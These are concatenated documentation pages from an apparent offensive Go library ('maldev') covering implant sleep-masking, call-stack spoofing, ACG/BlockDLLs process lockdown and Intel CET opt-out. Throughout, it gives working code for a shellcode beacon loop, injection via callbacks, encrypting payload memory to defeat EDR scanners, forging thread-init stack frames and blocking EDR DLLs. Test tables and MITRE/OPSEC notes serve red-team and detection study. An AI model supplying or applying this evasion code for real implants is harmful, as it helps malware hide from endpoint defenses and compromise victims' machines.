The implant just finished a beacon cycle and wants to sleep
for 30 seconds before the next check-in. The shortest path:
package main
import (
"context"
"time"
"github.com/oioio-space/maldev/evasion/sleepmask"
)
func sleepProtected(shellcodeAddr uintptr, shellcodeLen uintptr) {
// Step 1: tell the mask which region to protect.
// shellcodeAddr points at PAGE_EXECUTE_READ memory
// holding your payload — typically what inject.* just
// allocated.
mask := sleepmask.New(sleepmask.Region{
Addr: shellcodeAddr,
Size: shellcodeLen,
})
// Step 2: sleep. Behind the scenes:
// - VirtualProtect → PAGE_READWRITE (region drops 'X' bit)
// - XOR-scramble bytes with a fresh 32-byte random key
// - time.Sleep(30s)
// - XOR-decrypt (XOR is self-inverse)
// - VirtualProtect → PAGE_EXECUTE_READ (restored)
// - SecureZero the key off the stack
_ = mask.Sleep(context.Background(), 30*time.Second)
// After this returns, the region is back to PAGE_EXECUTE_READ
// and contains the original payload, ready to execute.
}
What an EDR scanner sees during those 30 seconds:
- The region is
PAGE_READWRITE, not executable. A scan filtered on executable pages skips it entirely. - Even if the scanner sweeps RW pages too, the bytes are random noise — no YARA / hash signature matches.
What the scanner DOES still see:
- The region exists. A scanner that flags "any RW region of size ~150 KB on top of the heap" can still notice it (rare — most EDRs don't classify by size alone, false-positive rate is too high).
- The implant's beacon thread, if running on the inline strategy,
is still parked in
time.Sleep→NtWaitForSingleObject. A thread-stack walker sees that wait. Switch toEkkoStrategyto disguise the wait asWaitForSingleObjectExinside a ROP chain.
Multi-region: protect non-contiguous memory
mask := sleepmask.New(
sleepmask.Region{Addr: shellcode, Size: shellcodeLen},
sleepmask.Region{Addr: reflectiveDLL, Size: dllSize},
sleepmask.Region{Addr: configBlock, Size: configLen},
)
_ = mask.Sleep(context.Background(), 45*time.Second)
Each region keeps its own original protection. An RX region is restored to RX; an RWX region is restored to RWX. See TestSleepMaskE2E_MultiRegionIndependentEncryption and TestSleepMaskE2E_RestoresOriginalRWXProtection.
Multi-region with Ekko
EkkoStrategy's ROP chain is single-region by construction (the
NtContinue chain has hardcoded gadget slots for one VirtualProtect /
SystemFunction032 / VirtualProtect triplet). For multi-region masking
under the Ekko model, wrap it in MultiRegionRotation:
mask := sleepmask.New(regionA, regionB, regionC).
WithStrategy(&sleepmask.MultiRegionRotation{Inner: &sleepmask.EkkoStrategy{}}).
WithCipher(sleepmask.NewRC4Cipher())
_ = mask.Sleep(context.Background(), 30*time.Second)
MultiRegionRotation runs Inner.Cycle once per region for d/N
seconds each. The total wall-clock duration matches d. Trade-off:
only one region is encrypted at any given moment — regionA is masked
during seconds [0, 10), regionB during [10, 20), regionC during
[20, 30). For simultaneous protection of all regions across the full
duration, use InlineStrategy or TimerQueueStrategy, both of which
already iterate over the regions slice up-front.
Choosing a strategy
// Default (L1): caller goroutine runs encrypt → wait → decrypt.
mask := sleepmask.New(region) // equivalent to WithStrategy(&InlineStrategy{})
// Same strategy but with a trigonometric busy-wait instead of time.Sleep.
mask := sleepmask.New(region).
WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})
// L2-light: cycle runs on a thread-pool worker, caller blocks on an event.
mask := sleepmask.New(region).
WithStrategy(&sleepmask.TimerQueueStrategy{})
// L2-full: NtContinue ROP chain (windows+amd64 only, RC4 cipher required).
mask := sleepmask.New(region).
WithCipher(sleepmask.NewRC4Cipher()).
WithStrategy(&sleepmask.EkkoStrategy{})
// L3 Foliage: Ekko + stack-scrub (zero our used gadget shadows
// mid-chain so a walker mid-wait sees clean zeros above Rsp instead
// of VP/SF032 residue).
mask := sleepmask.New(region).
WithCipher(sleepmask.NewRC4Cipher()).
WithStrategy(&sleepmask.FoliageStrategy{})
| Strategy | Thread doing the wait | Wait syscall on that thread | Cost | Status |
|---|---|---|---|---|
InlineStrategy{} | caller goroutine | NtWaitForSingleObject (time.Sleep) | near-zero CPU | shipped |
InlineStrategy{UseBusyTrig: true} | caller goroutine | none (CPU-bound trig loop) | full core busy | shipped |
TimerQueueStrategy{} | thread-pool worker | WaitForSingleObject on a never-fired event | near-zero CPU | shipped |
EkkoStrategy{} | thread-pool worker | WaitForSingleObjectEx reached via an NtContinue gadget chain | near-zero CPU | shipped (windows+amd64, RC4 only, single region) |
FoliageStrategy{} | thread-pool worker | Same as Ekko + extra memset gadget scrubs used shadow frames to zeros before the wait | near-zero CPU | shipped (L3; windows+amd64, RC4 only, single region) |
Rule of thumb: default to InlineStrategy{}. Switch to TimerQueueStrategy{} when you want the beacon goroutine's wait to look distinct from Sleep. Switch to InlineStrategy{UseBusyTrig: true} when you're fighting a sandbox that warps time or an EDR that has hooked every kernel wait primitive.
Choosing a cipher
mask := sleepmask.New(region).WithCipher(sleepmask.NewRC4Cipher())
| Cipher | Keyspace | Strengths | Weaknesses |
|---|---|---|---|
NewXORCipher() (default) | 32 bytes, repeating | tiny, dependency-free, self-inverse | 32-byte period visible under key-period analysis |
NewRC4Cipher() | 32 bytes, stream | stream cipher, no period, required by EkkoStrategy (SystemFunction032) | RC4 key-schedule biases — not a cryptographic guarantee |
NewAESCTRCipher() | 48 bytes (32 key + 16 nonce) | modern, audited primitive | larger code footprint, slightly heavier CPU |
The cipher has no bearing on scanner evasion (any of them scrambles the region) — it matters for analysts dumping the region and trying to reconstruct bytes after seeing multiple cycles under the same key material. Since the key is fresh per cycle, the practical gap between XOR and AES is small; pick on footprint.
Real beacon loop
package main
import (
"time"
"unsafe"
"golang.org/x/sys/windows"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
func beacon(shellcode []byte) error {
size := uintptr(len(shellcode))
addr, err := windows.VirtualAlloc(0, size,
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
return err
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
if err := windows.VirtualProtect(addr, size, windows.PAGE_EXECUTE_READ, &old); err != nil {
return err
}
mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: size})
for {
// Run your beacon logic: check in, pull tasks, execute, exfil.
if err := inject.ExecuteCallback(addr, inject.CallbackEnumWindows); err != nil {
return err
}
// Hide while idle.
_ = mask.Sleep(context.Background(), 30*time.Second)
}
}
Integrating with inject.SelfInjector
When the shellcode lands via one of the self-process injection methods
(MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on
Windows; MethodProcMem on Linux), you don't need to allocate or track
the region manually — the injector already did. Type-assert the returned
Injector to inject.SelfInjector and pull the region directly into the
mask:
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
self, ok := inj.(inject.SelfInjector)
if !ok { return fmt.Errorf("not a self-process injector") }
r, ok := self.InjectedRegion()
if !ok { return fmt.Errorf("no region published (cross-process method?)") }
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size}).
WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})
for {
// beacon work...
_ = mask.Sleep(context.Background(), 30*time.Second)
}
The SelfInjector contract: returns (Region{}, false) before the first
successful Inject, after a failed Inject, or when the method is
cross-process (CRT / APC / EarlyBird / ThreadHijack / Rtl / NtQueueApcThreadEx).
Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline
forward the region transparently, so the same pattern works at the end of
any Chain. See docs/techniques/injection/README.md for the injection
side of the contract.
Verifying It Works
The e2e suite runs a concurrent testutil.ScanProcessMemory — the same loop an EDR uses: VirtualQuery every page, filter for PAGE_EXECUTE_*, search for a signature — while Mask.Sleep() is in progress. Key fixtures:
testutil.WindowsSearchableCanary— a 19-byte payload:xor eax,eax; retfollowed by the ASCII markerMALDEV_CANARY!!\n. The marker makes the region trivially findable on an executable page.testutil.ScanProcessMemory(marker)— walks every committed region in the process, returns the first hit on an executable page.
The canonical test proves the full contract in one shot:
// From sleepmask_e2e_windows_test.go
func TestSleepMaskE2E_DefeatsExecutablePageScanner(t *testing.T) {
payload := testutil.WindowsSearchableCanary
addr, cleanup := allocAndWriteRX(t, payload) // allocs + flips to PAGE_EXECUTE_READ
defer cleanup()
// Baseline: findable before masking.
marker := []byte("MALDEV_CANARY!!\n")
_, ok := testutil.ScanProcessMemory(marker)
require.True(t, ok, "baseline scan must find canary before masking")
mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: uintptr(len(payload))})
// Concurrent scanner during the sleep.
var scanHits, scanAttempts int32
stopScan := make(chan struct{})
scanDone := make(chan struct{})
go func() {
defer close(scanDone)
for {
select {
case <-stopScan: return
default:
}
atomic.AddInt32(&scanAttempts, 1)
if _, hit := testutil.ScanProcessMemory(marker); hit {
atomic.AddInt32(&scanHits, 1)
}
time.Sleep(5 * time.Millisecond)
}
}()
_ = mask.Sleep(context.Background(), 300*time.Millisecond)
close(stopScan); <-scanDone
assert.Zero(t, atomic.LoadInt32(&scanHits),
"concurrent scanner must NOT find canary during masked sleep")
assert.Greater(t, atomic.LoadInt32(&scanAttempts), int32(5),
"scanner must have run several passes during the sleep")
_, ok = testutil.ScanProcessMemory(marker)
assert.True(t, ok, "canary must be findable again after sleep returns")
}
The full suite (all run on a real Win10 VM via scripts/vm-run-tests.sh):
| Test | What it proves |
|---|---|
TestSleepMaskE2E_DefeatsExecutablePageScanner | ~60 concurrent scans during a 300 ms sleep, zero hits. Scan finds the canary before and after. |
TestSleepMaskE2E_RestoresOriginalRXProtection | Mid-sleep VirtualQuery reports PAGE_READWRITE; post-sleep reports PAGE_EXECUTE_READ. |
TestSleepMaskE2E_RestoresOriginalRWXProtection | An RWX region stays RWX after the cycle (not collapsed to RX). |
TestSleepMaskE2E_MultiRegionIndependentEncryption | Two distinct markers, each region scrambled mid-sleep, both bytes restored. |
TestSleepMaskE2E_BeaconLoopStableAcrossCycles | 10 back-to-back cycles; bytes and protection unchanged after every cycle. |
TestSleepMaskE2E_BusyTrigAlsoDefeatsScanner | InlineStrategy{UseBusyTrig: true} gives the same scanner-defeating guarantee as the default. |
TestSleepMaskE2E_DefeatsExecutablePageScanner/{inline,timerqueue} | sub-tests loop the core scan-defeats invariant over every shipped strategy. |
TestTimerQueueStrategy_CycleRoundTrip / _CtxCancellation | Pool-thread variant encrypts + decrypts correctly and still decrypts on ctx.DeadlineExceeded. |
TestEkkoStrategy_RejectsNonRC4Cipher / _RejectsMultiRegion | Ekko validates its input constraints (RC4 only, single region). |
TestRemoteInlineStrategy_RoundTrip | RemoteMask round-trips bytes through ReadProcessMemory → Apply → WriteProcessMemory against a spawned notepad. |
Run locally:
./scripts/vm-run-tests.sh windows "./evasion/sleepmask/..." "-v -count=1 -run TestSleepMaskE2E"
Common Pitfalls
Order-of-operations matters. The region under protection is almost always PAGE_EXECUTE_READ after a typical injection sequence. Writing the XOR pass before the VirtualProtect(RW) will raise STATUS_ACCESS_VIOLATION on the first byte. The sleep mask consistently VirtualProtects first, then XORs. If you extend this package, preserve that order. (This was historically a bug; the added e2e test TestSleepMaskE2E_RestoresOriginalRXProtection pins the behavior.)
The mask code itself is unencrypted. Code paths executing Mask.Sleep — the XOR loop, the VirtualProtect calls, the timer — must stay executable. You cannot mask the mask. Treat it as a small scannable kernel; keep it short, keep it varied if possible, and don't register its own .text as a region.
The key is on the stack during sleep. Mask.Sleep zeroes the key via cleanup/memory.SecureZero only after the region is decrypted. During the sleep itself the 32-byte key lives on the Go stack frame of Sleep. A targeted memory dump timed exactly mid-sleep could recover it and undo the protection. If that matters, consider cleanup/memory.DoSecret (Go 1.26+ GOEXPERIMENT=runtimesecret path) to wrap the whole cycle — see docs/techniques/cleanup/memory-wipe.md.
Very short sleeps cost more than they hide. Below ~50 ms the VirtualProtect + XOR round-trip becomes a measurable fraction of the "sleep", and you've traded scanner-visibility for API-call-volume visibility. Sleep mask pays off when the idle interval is comfortably longer than the encrypt/decrypt cycle.
InlineStrategy still goes through the kernel. Go's time.Sleep on Windows is implemented via a timer object. Any EDR hooking NtWaitForSingleObject or the scheduler will observe the wait — it won't see the scrambled memory, but it will see you sleeping. Use InlineStrategy{UseBusyTrig: true} to avoid any wait syscall, or TimerQueueStrategy to move the wait off the caller goroutine.
Comparison
| Feature | maldev/sleepmask | Cobalt Strike BOF sleep_mask | Sliver sleep mask |
|---|---|---|---|
| Cipher | repeating-key XOR (32 bytes, fresh per sleep) | XOR (historically); tunable via BOF | AES |
| Permission downgrade | yes, per-region, original restored | yes | yes |
| Multi-region | yes | generally one | generally one |
| Busy-wait alternative | InlineStrategy{UseBusyTrig: true} | no (BOF-replaceable) | no |
| Pluggable cipher | XOR / RC4 / AES-CTR | BOF-replaceable | AES only |
| Pluggable wait-thread | InlineStrategy, TimerQueueStrategy, EkkoStrategy, FoliageStrategy | no | no |
| Stack scrubbing during wait | FoliageStrategy (L3 — zeros used shadow frames mid-chain) | BOF-replaceable | no |
| Cross-process masking | RemoteMask + RemoteInlineStrategy | yes | yes |
| Key zeroing | yes (SecureZero) | varies by BOF | yes |
| Self-encryption | no (limitation) | no | no |
Running the demo
cmd/sleepmask-demo exercises both scenarios with a configurable cipher/strategy and a concurrent scanner:
# Scenario A: mask a canary in our own process (default strategy=inline, cipher=xor).
go run ./cmd/sleepmask-demo -scenario=self -cycles=3 -sleep=5s
# Pool-thread variant, aes cipher, 10s sleeps.
go run ./cmd/sleepmask-demo -scenario=self -strategy=timerqueue -cipher=aes -cycles=2 -sleep=10s
# Scenario B: spawn notepad suspended, mask a canary in its address space.
go run ./cmd/sleepmask-demo -scenario=host -host-binary='C:\Windows\System32\notepad.exe' -cipher=rc4
The scanner prints HIT before/after each cycle and MISS throughout the masked window.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/sleepmask is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
evasion/callstack— pair with callstack-spoof so the hibernating thread's stack is also obfuscatedevasion/preset— Stealth preset includes the Foliage strategy
Call-stack spoofing — metadata primitives
← evasion area README · docs/index
TL;DR
When EDR sees VirtualAllocEx called, it walks the calling
thread's stack and asks "who got us here?". A real Win32 program
shows RtlUserThreadStart → BaseThreadInitThunk → main → ... → VirtualAllocEx. A Go injector shows runtime.goexit → ... → syscall.Syscall6 → VirtualAllocEx — instantly suspicious.
Spoofing the call stack rewrites the stack so the walker sees the benign Win32 lineage instead.
The package splits into two halves with very different maturity:
| Layer | What you get | Status |
|---|---|---|
Metadata helpers (StandardChain, FindReturnGadget, LookupFunctionEntry, Validate) | Build the synthetic Frame chain (RtlUserThreadStart → BaseThreadInitThunk → …) with valid RUNTIME_FUNCTION rows pulled from ntdll/kernel32 .pdata. Use independently of any pivot. | Production-ready. Used today by evasion/preset for stack metadata. |
Asm pivot (SpoofCall) | Plants the chain on the thread's stack and JMPs into the target so the unwinder walks the synthetic frames | Experimental scaffold — gated behind MALDEV_SPOOFCALL_E2E=1, documented crash path. Use the metadata helpers + your own pivot for production. |
What the metadata helpers DO:
- Resolve
kernel32!BaseThreadInitThunk+ntdll!RtlUserThreadStartviaRtlLookupFunctionEntryso each Frame carries a valid RUNTIME_FUNCTION the unwinder will follow. - Find a
RETgadget in ntdll's.textso the CPU "lands" inside ntdll after the target returns — the unwinder then walks ntdll's full.pdatacoverage. Validatecatches structural mistakes (wrong unwind info, RIP out of[Begin, End)) before the chain hits a walker.
What this DOES NOT do:
- Doesn't bypass ETW Threat-Intelligence cross-validation —
ETW's
Microsoft-Windows-Threat-Intelligenceprovider can cross-check the walked RIPs against actual control flow. EDRs paying for ETW-TI subscriptions still see you. - Doesn't change WHAT the spoofed thread does — only WHO it
appears to call from. The actual
VirtualAllocExstill happens; it just looks like it came fromBaseThreadInitThunk. SpoofCallis not safe — the asm pivot is research scaffold. For production, use the metadata helpers (StandardChainreturns a usable[]Framechain) and write your own asm pivot tuned to your target's calling convention.
Primer — vocabulary
Six terms recur on this page:
Stack walking — the process of following return addresses on a thread's stack to reconstruct the chain of callers (the "back trace"). EDRs do this on suspicious API calls; debuggers do it for crash analysis.
RtlVirtualUnwind— the user-mode function (and its kernel-mode sibling) that performs the actual stack-walk step. Given a current RIP, it looks up the matching RUNTIME_FUNCTION in the module's.pdataand follows the unwind info to compute the previous frame.RUNTIME_FUNCTION — a 12-byte record in a PE's
.pdatasection describing one function's start RVA, end RVA, and a pointer to itsUNWIND_INFO. Without a RUNTIME_FUNCTION covering the current RIP, the unwinder can't proceed — which is why the spoof needs the fake "return address" to land INSIDE ntdll (full.pdatacoverage).
.pdata— the PE section holding all RUNTIME_FUNCTION entries for the module. Sorted by start RVA; binary-searched byRtlLookupFunctionEntry.Thread-init lineage — the canonical Win32 thread startup chain:
RtlUserThreadStart → BaseThreadInitThunk → main. Every legitimate thread on Windows has these two frames at the bottom. Spoofing aims to make the walker SEE this lineage even when the actual code path didn't go through it.RET gadget — a single
RETinstruction (0xC3) somewhere in ntdll's.text. Used as the "land here after the target returns" address in the spoof. After the gadget RETs, the CPU pops the next address (the next frame in the chain) and continues.
How It Works
sequenceDiagram
participant G as "Caller (Go)"
participant S as "Spoof pivot (asm)"
participant T as "Target fn"
participant W as "RtlVirtualUnwind"
participant N as "ntdll RET gadget"
Note over G: Build chain via StandardChain + FindReturnGadget
G->>S: SpoofCall(target, chain, args)
S->>S: Plant fakeRet then realRet on stack
S->>T: JMP target (not CALL)
Note over T: Executes body. RIP inside target.
W->>T: Snapshot RIP at sampling moment
W->>T: Lookup RUNTIME_FUNCTION RIP
W-->>W: Unwinds via target .pdata
W->>N: Lands on fakeRet, ntdll RET gadget
W->>N: Lookup RUNTIME_FUNCTION fakeRet
W-->>W: Walks ntdll frame metadata
W-->>G: Reports BaseThreadInitThunk then RtlUserThreadStart
T-->>N: RET pops fakeRet
N-->>G: RET pops realRet, back to Go
Steps:
StandardChainresolves the canonical thread-init lineage:kernel32!BaseThreadInitThunk(inner caller) andntdll!RtlUserThreadStart(outer caller). Both are looked up viaRtlLookupFunctionEntryso the returnedFrame[i]carries a validRUNTIME_FUNCTIONrow from the legitimate module's.pdata.FindReturnGadgetscansntdll.dll's.textfor a loneRET(0xC3followed by alignment padding). The address is used as the fake return at the top of the chain — when the target's ownRETfires, the CPU jumps into ntdll's image, which has full.pdatacoverage.- The asm pivot (
SpoofCallscaffold, gated behindMALDEV_SPOOFCALL_E2E=1) plants[fakeRet, ...chain]on the thread's stack, thenJMPs (notCALLs) into the target. When the target returns, it popsfakeRetand the CPU lands inside ntdll. A walker that samplesRIPat any point above the target walks ntdll's metadata and reports a benign thread-init sequence. Validateconfirms structural consistency before any of this: non-zero return / image base / unwind-info;ControlPcbounded by theRUNTIME_FUNCTION [Begin, End)window.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/callstack is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — build + validate a chain
chain, err := callstack.StandardChain()
if err != nil {
log.Fatal(err)
}
if err := callstack.Validate(chain); err != nil {
log.Fatalf("chain invalid: %v", err)
}
gadget, err := callstack.FindReturnGadget()
if err != nil {
log.Fatal(err)
}
log.Printf("chain frames=%d gadget=%#x", len(chain), gadget)
Composed — chain + injection landing-site spoof
The chain is one piece of the deception. Pair it with
evasion/unhook and an indirect-syscall caller so a walker that
lands on any of the hot calls sees ntdll-resident addresses with
valid .pdata.
import (
"github.com/oioio-space/maldev/evasion/callstack"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
stdChain, _ := callstack.StandardChain()
_ = callstack.Validate(stdChain)
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, stdChain...)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
_ = full // hand off to operator's own pivot OR callstack.SpoofCall
Advanced — SpoofCall (gated)
// MALDEV_SPOOFCALL_E2E=1 must be set; the asm pivot is debug-only.
chain, _ := callstack.StandardChain()
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, chain...)
target := unsafe.Pointer(windows.NewLazyDLL("ntdll.dll").
NewProc("RtlGetVersion").Addr())
ret, err := callstack.SpoofCall(target, full /* no args */)
if err != nil {
log.Fatalf("spoofcall: %v", err)
}
log.Printf("RtlGetVersion returned %#x", ret)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
RtlLookupFunctionEntry reads | not logged | none needed |
| Synthetic frame on the thread stack | reflection-based walkers may flag | live with the residual; pair with HW-BP variant (P2.6) on hardened targets |
| ETW Threat-Intelligence | cross-references RIP against legitimate call graph | EDRs subscribing to TI can still flag — evasion/callstack makes the chain plausible, not indistinguishable |
| ntdll RET-gadget address | static — same value across calls within a process | randomise gadget pick from FindReturnGadget candidates (future enhancement) |
D3FEND counters: D3-PSA (Process Spawn Analysis) — when paired with a benign thread-init RIP sequence the spawn / call chain appears legitimate.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036 | Masquerading | call-stack metadata | D3-PSA |
| T1027 | Obfuscated Files or Information | runtime stack obfuscation | D3-EAL |
Limitations
- x64 only. x86 uses frame-pointer walking rather than
.pdata-based unwind, which requires a different spoof strategy. - Synthetic frames detected by ETW Threat-Intelligence. Some EDRs (especially those consuming the TI provider) cross-check every stack frame RIP against the current call graph.
- Module relocations.
StandardChaincaches the frames after first call; if the target module unmaps + remaps at a new base (unusual but possible under ASLR-stressed environments), the cached frames become stale. Spawn a fresh process or build a one-shot chain viaLookupFunctionEntry. - No hardware-breakpoint variant yet. The fortra-style HWBP pivot (HW-BP on RET gadget for stronger obfuscation) is tracked under backlog row P2.6.
SpoofCallis experimental. The pivot occasionally crashes through Go'slastcontinuehandlerdue to runtime M:N scheduling. Promotion to a tagged release waits on a clean root-cause.
See also
- Evasion area README
evasion/sleepmask— pair with sleep-mask so spoofed frames are also wiped between callbackswin/syscall—MethodIndirectreturns into ntdll, complementary stack-stealth pathrecon/hwbp— companion HW-BP variant tracked under backlog P2.6- package godoc
ACG + BlockDLLs
MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-AIPA -- Application Integrity Protection Analysis | Detection: Low
Primer
Imagine you are in a clean room doing sensitive work. You lock the door so nobody can enter, and you cover all the air vents so nothing can be blown in. That is what ACG and BlockDLLs do to your process.
ACG (Arbitrary Code Guard) tells Windows: "Do not allow any new executable memory allocations in this process." Once enabled, nobody -- not even the operating system -- can create new PAGE_EXECUTE_* memory regions. This blocks EDR from injecting dynamic hooks or code into your process. It also blocks shellcode injection from outside.
BlockDLLs (Binary Signature Policy) tells Windows: "Only load DLLs that are signed by Microsoft." This prevents EDR products from loading their monitoring DLLs (like CrowdStrike.dll or SentinelOne.dll) into your process. Since these DLLs are typically signed by their vendor (not Microsoft), they are blocked.
Together, these two mitigations create a hardened process that rejects external code injection and unsigned DLL loading. The critical caveat: ACG also prevents your own shellcode from allocating executable memory, so you must apply it AFTER your injection is complete.
How It Works
flowchart TD
subgraph ACG["Arbitrary Code Guard"]
A1[SetProcessMitigationPolicy] --> A2[ProcessDynamicCodePolicy]
A2 --> A3[ProhibitDynamicCode = 1]
A3 --> A4[All future VirtualAlloc\nwith PAGE_EXECUTE_* → FAIL]
A3 --> A5[All future VirtualProtect\nto PAGE_EXECUTE_* → FAIL]
end
subgraph BlockDLLs["Block Non-Microsoft DLLs"]
B1[SetProcessMitigationPolicy] --> B2[ProcessBinarySignaturePolicy]
B2 --> B3[MicrosoftSignedOnly = 1]
B3 --> B4[LoadLibrary of unsigned DLL → FAIL]
B3 --> B5[EDR DLL injection → FAIL]
end
subgraph Timeline["Correct Application Order"]
T1[1. Evasion: AMSI + ETW] --> T2[2. Injection: shellcode]
T2 --> T3[3. Harden: ACG + BlockDLLs]
T3 --> T4[Process is now locked down]
end
style A4 fill:#5c1a1a,color:#fff
style A5 fill:#5c1a1a,color:#fff
style B4 fill:#5c1a1a,color:#fff
style B5 fill:#5c1a1a,color:#fff
style T3 fill:#2d5016,color:#fff
ACG internals:
- Calls
SetProcessMitigationPolicywith policy ID 2 (ProcessDynamicCodePolicy). - Sets
ProhibitDynamicCode = 1in the policy flags. - Once set, this is irreversible for the process lifetime.
BlockDLLs internals:
- Calls
SetProcessMitigationPolicywith policy ID 8 (ProcessBinarySignaturePolicy). - Sets
MicrosoftSignedOnly = 1. - Once set, this is irreversible for the process lifetime.
Usage
package main
import (
"log"
"github.com/oioio-space/maldev/evasion/acg"
"github.com/oioio-space/maldev/evasion/blockdlls"
)
func main() {
// Enable ACG -- no more dynamic code allocation.
if err := acg.Enable(nil); err != nil {
log.Fatal(err)
}
// Block non-Microsoft DLLs.
if err := blockdlls.Enable(nil); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
func main() {
shellcode := []byte{0x90, 0x90, 0xCC}
// 1. FIRST: Evasion (AMSI + ETW + unhook).
evasion.ApplyAll(preset.Stealth(), nil)
// 2. SECOND: Inject shellcode (needs executable memory allocation).
if err := inject.ThreadPoolExec(shellcode); err != nil {
log.Fatal(err)
}
// 3. LAST: Lock down the process.
// Aggressive preset includes ACG + BlockDLLs.
// WARNING: No more RWX allocations possible after this!
evasion.ApplyAll(preset.Aggressive(), nil)
// From this point:
// - No EDR can inject hooks or DLLs
// - No new executable memory can be created
// - The process is hardened for the rest of its lifetime
}
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | High -- uses legitimate Windows mitigation APIs. Looks like a security-conscious application. |
| Effectiveness | Very high -- kernel-enforced. Even ring-0 drivers respect these mitigations (by design). |
| Irreversibility | Both policies are permanent for the process lifetime. Cannot be undone. |
| Order dependency | MUST apply AFTER all shellcode injection and evasion patching is complete. ACG blocks VirtualProtect to RX. |
| Compatibility | Windows 10 1709+ (Fall Creators Update). Returns error on older versions. |
| Limitations | SetProcessMitigationPolicy is a kernel32 export with no NT equivalent routable through *wsyscall.Caller. The caller parameter is accepted for API consistency but cannot bypass hooks on this specific function. BlockDLLs may break legitimate third-party DLLs. |
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/acg is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
evasion/cet— sibling process-mitigation hardening (CET shadow stack)evasion/preset— bundles ACG + BlockDLLs into composable Technique stacks
Intel CET shadow-stack opt-out
TL;DR
On Intel CET-capable Windows 11+ hosts, indirect call/return targets
must begin with the ENDBR64 instruction (F3 0F 1E FA). Code that
violates this is killed with STATUS_STACK_BUFFER_OVERRUN (0xC000070A).
This package: detect (Enforced), opt out (Disable), or marker-
prefix shellcode (Wrap) so it survives CET-enforced indirect dispatch.
Primer
Control-flow Enforcement Technology is Intel's hardware-level mitigation
against ROP / JOP / COP attacks. The shadow stack tracks legitimate call
return addresses; the indirect-branch tracker requires ENDBR64 at every
indirect call destination. Both are enabled per-process via the
ProcessUserShadowStackPolicy mitigation.
For maldev, the most-impactful CET site is KiUserApcDispatcher. APC-
delivered shellcode (used by injection methods like
NtNotifyChangeDirectory-callback, fiber callback, etc.) executes via
indirect dispatch. If the shellcode doesn't start with ENDBR64, CET
kills the process.
Three complementary tools:
Enforced()reports whether the policy is active. Cheap; call this first before deciding between Disable and Wrap.Disable()is best-effort relax — fails when the image was compiled with/CETCOMPAT(the Go runtime currently is NOT, but/CETCOMPAT-compiled DLLs you might host can opt the process in).Wrap(sc)prepends the ENDBR64 marker if not present. Side-effect- free, idempotent. Safe to call unconditionally.
How it works
flowchart TD
Start["shellcode injected"] --> Q{"cet.Enforced ?"}
Q -- No --> Run["execute as-is"]
Q -- Yes --> TryDisable["cet.Disable"]
TryDisable -- success --> Run
TryDisable -- "fails ERROR_NOT_SUPPORTED" --> Wrap["sc = cet.Wrap(sc)"]
Wrap --> Run
Disable issues SetProcessMitigationPolicy(ProcessUserShadowStackPolicy, {Enable: 0, ...}). The kernel rejects the relax if any module in the
process has IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT set.
Wrap is a pure byte-level operation: prepend F3 0F 1E FA to the
shellcode buffer if the first 4 bytes don't already match.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/cet is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
sc := []byte{0x90, 0x90, 0xc3} // nop nop ret
sc = cet.Wrap(sc) // now 7 bytes: F3 0F 1E FA 90 90 C3
Composed — runtime decision
if cet.Enforced() {
if err := cet.Disable(); err != nil {
sc = cet.Wrap(sc)
}
}
Advanced (chain into APC injection)
sc := loadShellcode()
if cet.Enforced() {
if err := cet.Disable(); err != nil {
sc = cet.Wrap(sc)
}
}
// CallbackNtNotifyChangeDirectory invokes the shellcode via
// KiUserApcDispatcher — without the marker on a CET host, this would
// die with STATUS_STACK_BUFFER_OVERRUN.
_ = inject.ExecuteCallback(sc, inject.CallbackNtNotifyChangeDirectory)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) call | ETW TI Threat Intelligence + Defender ASR provider events |
| Process began with policy enforced, ended without | ETW per-process mitigation lifecycle |
| ENDBR64-prefixed shellcode in injected memory | EDR memory scanner — distinctive 4-byte pattern at RWX page starts |
